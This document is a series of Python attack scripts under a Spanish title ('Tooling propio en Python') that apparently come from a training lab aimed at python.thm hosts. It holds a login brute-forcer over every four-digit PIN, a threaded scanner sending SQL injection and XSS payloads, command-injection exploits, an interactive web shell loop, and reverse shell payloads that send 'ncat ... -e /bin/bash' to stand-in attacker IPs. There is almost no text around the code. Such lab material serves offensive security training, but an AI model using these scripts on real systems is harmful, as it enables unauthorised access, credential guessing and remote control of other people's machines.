Tooling propio en Python

1
import requests
2

3
url = "http://python.thm/labs/lab1/index.php"
4
username = "admin"
5

6
# Generar todas las combinaciones 0000-9999
7
password_list = [str(i).zfill(4) for i in range(10000)]
8

9
def brute_force():
10
    for password in password_list:
11
        data = {"username": username, "password": password}
12
        response = requests.post(url, data=data)
13

14
        if "Invalid" not in response.text:
15
            print(f"[+] Found valid credentials: {username}:{password}")
16
            break
17
        else:
18
            print(f"[-] Attempted: {password}")
19

20
brute_force()

1
import requests
2
import re
3
import threading
4

5
url = "http://python.thm/labs/lab2/greetings.php?id="
6

7
payloads = {
8
    "SQLi": ["'", "' OR '1'='1", "\" OR \"1\"=\"1", "'; --", "' UNION SELECT 1,2,3 --"],
9
    "XSS": ["<script>alert('XSS')</script>", "'><img src=x onerror=alert('XSS')>"]
10
}
11

12
sqli_errors = [
13
    "SQL syntax", "SQLite3::query():", "MySQL server", "syntax error",
14
    "Unclosed quotation mark", "near 'SELECT'", "Unknown column",
15
    "Warning: mysql_fetch", "Fatal error"
16
]
17

18
def scan_payload(vuln_type, payload):
19
    response = requests.get(url, params={"id": payload})
20
    content = response.text.lower()
21

22
    if vuln_type == "SQLi" and any(error.lower() in content for error in sqli_errors):
23
        print(f"[+] Potential SQL injection detected with payload: {payload}")
24

25
    elif vuln_type == "XSS" and payload.lower() in content:
26
        print(f"[+] Potential XSS detected with payload: {payload}")
27

28
threads = []
29
for vuln, tests in payloads.items():
30
    for payload in tests:
31
        t = threading.Thread(target=scan_payload, args=(vuln, payload))
32
        threads.append(t)
33
        t.start()
34

35
for t in threads:
36
    t.join()

1
import requests
2

3
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
4
command = "whoami"
5

6
response = requests.get(TARGET_URL + command)
7
if response.status_code == 200:
8
    print("[+] Command Output:")
9
    print(response.text)
10
else:
11
    print("[-] Exploit failed. HTTP Status:", response.status_code)

1
import requests
2

3
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
4

5
print("[+] Interactive Exploit Shell")
6
while True:
7
    cmd = input("Shell> ")
8
    if cmd.lower() in ["exit", "quit"]:
9
        break
10
    response = requests.get(TARGET_URL + cmd)
11
    if response.status_code == 200:
12
        print(response.text)
13
    else:
14
        print("[-] Exploit failed")

1
import requests
2

3
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
4

5
# Linux reverse shell con ncat:
6
payload = "ncat ATTACKBOX_IP 4444 -e /bin/bash"
7

8
print("[+] Sending reverse shell payload...")
9
requests.get(TARGET_URL + payload)

1
import requests
2

3
session = requests.Session()
4

5
login_url = "http://python.thm/labs/lab4/login.php"
6
credentials = {"username": "admin", "password": "password123"}
7

8
response = session.post(login_url, data=credentials)
9

10
if "Welcome" in response.text:
11
    print("[+] Login successful. Session cookies stored automatically!")
12
else:
13
    print("[-] Login failed.")

1
import requests
2

3
LOGIN_URL = "http://python.thm/labs/lab4/login.php"
4
EXECUTE_URL = "http://python.thm/labs/lab4/dashboard.php"
5
USERNAME = "admin"
6
PASSWORD = "password123"
7

8
def authenticate():
9
    session = requests.Session()
10
    response = session.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
11
    if "Welcome" in response.text:
12
        print("[+] Authentication successful.")
13
        return session
14
    return None
15

16
def execute_command(session, command):
17
    response = session.post(EXECUTE_URL, data={"cmd": command})
18
    if "Session expired" in response.text:
19
        print("[-] Session expired! Re-authenticating...")
20
        session = authenticate()
21
    print(f"[+] Output:\n{response.text}")
22

23
def get_reverse_shell(session, attacker_ip, attacker_port):
24
    payload = f"ncat {attacker_ip} {attacker_port} -e /bin/bash"
25
    execute_command(session, payload)
26

27
session = authenticate()
28
if session:
29
    execute_command(session, "whoami")
30
    get_reverse_shell(session, "ATTACKER_IP", 4444)